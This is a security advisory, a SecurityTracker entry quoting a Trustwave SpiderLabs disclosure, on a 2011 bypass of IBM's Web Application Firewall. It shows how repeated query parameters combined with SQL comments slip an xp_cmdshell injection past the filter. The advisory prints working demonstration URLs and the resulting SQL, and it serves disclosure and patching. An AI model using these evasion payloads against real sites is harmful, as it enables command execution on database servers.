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IBM Security Network IPS Web Application Firewall Can Be Bypassed By Remote Users
SecurityTracker Alert ID: 1025683|
SecurityTracker URL: http://securitytracker.com/id/1025683
(Links to External Site)
Updated: Aug 17 2011|
Original Entry Date: Jun 21 2011
Host/resource access via network|
Fix Available: Yes Vendor Confirmed: Yes Exploit Included: Yes |
Version(s): Tested on G400 IPS-G400-IB-1 (Intrusion Prevention Update: 2011-03-11 00:34:23 - version: 31.030) and GX4004 IPS-GX4004-IB-2 (Intrusion Prevention Update: 2011-03-10 23:49:15 - version: 31.030)|
A vulnerability was reported in IBM Security Network IPS. A remote user can bypass the web application firewall.|
A remote user can supply a specially crafted request to bypass the web application firewall.
A demonstration exploit URL is provided:
http://[target]/find_ta_def.aspx?id=2571&iid='; /*&iid=1*/ EXEC
/*&iid=1*/ master..xp_cmdshell /*&iid=1*/ "ping 10.1.1.3" /*&iid=1*/ --
The IBM Web Application Firewall is also included in IBM Security Server Protection products and IBM Security Multi-Function products.
The original advisory is available at:
Wendel Guglielmetti Henrique of Trustwave's SpiderLabs reported this vulnerability.
A remote user can bypass the web application firewall.|
The vendor has issued a fix (on June 16, 2011).|
Vendor URL: www.ibm.com/ (Links to External Site)
Access control error|
Source Message Contents
Date: Tue, 21 Jun 2011 12:10:06 -0500|
Subject: [Full-disclosure] TWSL2011-006: IBM Web Application Firewall Bypass
Trustwave's SpiderLabs Security Advisory TWSL2011-006:
IBM Web Application Firewall Bypass
Product: IBM Web Application Firewall
These capabilities are included through SiteProtector 7.0 and later
software within IBM Security Network IPS GX products, IBM Security Server
Protection products, and IBM Security Multi-Function product lines during
2H of 2009.
Tested against G400 IPS-G400-IB-1 (Intrusion Prevention
Update: 2011-03-11 00:34:23 - version: 31.030) and GX4004 IPS-GX4004-IB-2
(Intrusion Prevention Update: 2011-03-10 23:49:15 - version: 31.030).
IBM Web Application Firewall capabilities inside IBM IPS products
complement IBM Security's portfolio of web application security offerings
to deliver end-to-end Web application security solutions.
Credit: Wendel Guglielmetti Henrique of Trustwave's SpiderLabs
Finding: IBM Web Application Firewall Bypass
The IBM Web Application Firewall can be evaded, allowing an attacker to
exploit web vulnerabilities that the product intends to protect. The issue
occurs when an attacker submits repeated occurrences of the same parameter.
The example shown below uses the following environment:
A web environment using Microsoft IIS, ASP .NET technology, Microsoft
SQL Server 2000, being protected by the IBM Web Application Firewall.
As expected, the following request will be identified and blocked
of configuration) by the IBM Web application firewall.
master..xp_cmdshell "ping 10.1.1.3" --
IIS with ASP.NET (and even pure ASP) technology will concatenate the
of a parameter if multiple entries are part of the request.
master..xp_cmdshell &iid= "ping 10.1.1.3" --
IIS with ASP.NET (and even pure ASP) technology will concatenate both
entries of iid parameter, however it will include an comma "," between
them, resulting in the following output being sent to the database.
'; EXEC master..xp_cmdshell , "ping 10.1.1.3" --
The request above will be identified and blocked (depending of
configuration) by IBM Web application firewall, because it appears that
"EXEC" and "xp_cmdshell" trigger an attack pattern.
However, it is possible to split all the spaces in multiple parameters. For
http://sitename/find_ta_def.aspx?id=2571&iid='; &iid= EXEC
&iid= master..xp_cmdshell &iid= "ping 10.1.1.3" &iid= --
The above request will bypass the affected IBM Web application firewall,
resulting in the following output being sent to the database.
'; , EXEC , master..xp_cmdshell , "ping 10.1.1.3" , --
However, the above SQL code will not be properly executed because of the
comma inserted on the SQL query, to solve this situation we will use SQL
http://sitename/find_ta_def.aspx?id=2571&iid='; /*&iid=1*/ EXEC
/*&iid=1*/ master..xp_cmdshell /*&iid=1*/ "ping 10.1.1.3" /*&iid=1*/ --
The above request will bypass IBM Web application firewall, resulting in
the following output being sent to the database, which is a valid and
working SQL code.
'; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ "ping 10.1.1.3" /*,1*/ --
The above code will execute the ping command on the Microsoft Windows
backend, assuming the application was running with administrative
This attack class is also referenced sometimes as HTTP Pollution Attack,
HTTP Parameter Pollution (HPP) and HTTP Parameter Concatenation.
The exploitability of this issue depends of the infrastructure (WebServer,
Development Framework Technology, etc) technology being used.
IBM has released fixes to the above issue in the "Super Tuesday" patch
released in June. Refer to the references section of the advisory for
further information released by IBM.
04/07/11 - Vulnerability disclosed
06/16/11 - Patch released
06/21/11 - Advisory published
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